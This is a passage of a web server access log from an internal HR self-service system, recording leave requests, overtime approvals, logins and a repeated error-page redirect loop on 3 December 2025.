"http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:27 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 192.168.11.125 - - [03/Dec/2025:10:01:27 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 192.168.11.125 - - [03/Dec/2025:10:01:27 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.125 - - [03/Dec/2025:10:01:27 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 304 - 192.168.11.125 - - [03/Dec/2025:10:01:27 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 192.168.11.125 - - [03/Dec/2025:10:01:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 192.168.11.125 - - [03/Dec/2025:10:01:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:48 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.47899883245122254 HTTP/1.1" 200 10228 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:48 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.47899883245122254 HTTP/1.1" 200 10228 192.168.11.125 - - [03/Dec/2025:10:01:56 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.47899883245122254 HTTP/1.1" 200 12409 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.47899883245122254" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:56 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.47899883245122254 HTTP/1.1" 200 12409 192.168.11.125 - - [03/Dec/2025:10:01:59 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:59 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 192.168.11.125 - - [03/Dec/2025:10:02:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4200 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:02:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4200 192.168.11.125 - - [03/Dec/2025:10:02:02 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:02:02 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 192.168.11.125 - - [03/Dec/2025:10:02:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 192.168.11.125 - - [03/Dec/2025:10:02:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.108 - - [03/Dec/2025:10:09:10 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3998 "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:09:10 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3998 192.168.11.108 - - [03/Dec/2025:10:09:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:09:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:10:09:22 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:09:22 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.108 - - [03/Dec/2025:10:09:22 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:09:22 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.108 - - [03/Dec/2025:10:09:24 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:09:24 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:10:09:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:09:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 192.168.11.108 - - [03/Dec/2025:10:09:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10435 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:09:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10435 192.168.11.108 - - [03/Dec/2025:10:09:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 29564 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:09:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 29564 192.168.12.59 - - [03/Dec/2025:10:23:21 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [03/Dec/2025:10:23:21 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.12.59 - - [03/Dec/2025:10:23:22 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.12.59 - - [03/Dec/2025:10:23:22 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [03/Dec/2025:10:23:25 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [03/Dec/2025:10:23:25 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.12.59 - - [03/Dec/2025:10:23:26 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [03/Dec/2025:10:23:26 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.12.59 - - [03/Dec/2025:10:23:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [03/Dec/2025:10:23:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.108 - - [03/Dec/2025:10:23:59 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:23:59 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:10:24:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132706%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132706&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:24:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132706%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132706&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:10:24:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:24:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:10:24:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:24:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:10:24:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:24:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:10:24:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:10:24:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:24:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:24:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:10:24:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:24:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:10:24:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:24:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:10:24:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:24:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:10:24:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:24:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:10:24:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:24:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:10:24:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:24:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:10:24:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:24:02 +0800] "GET 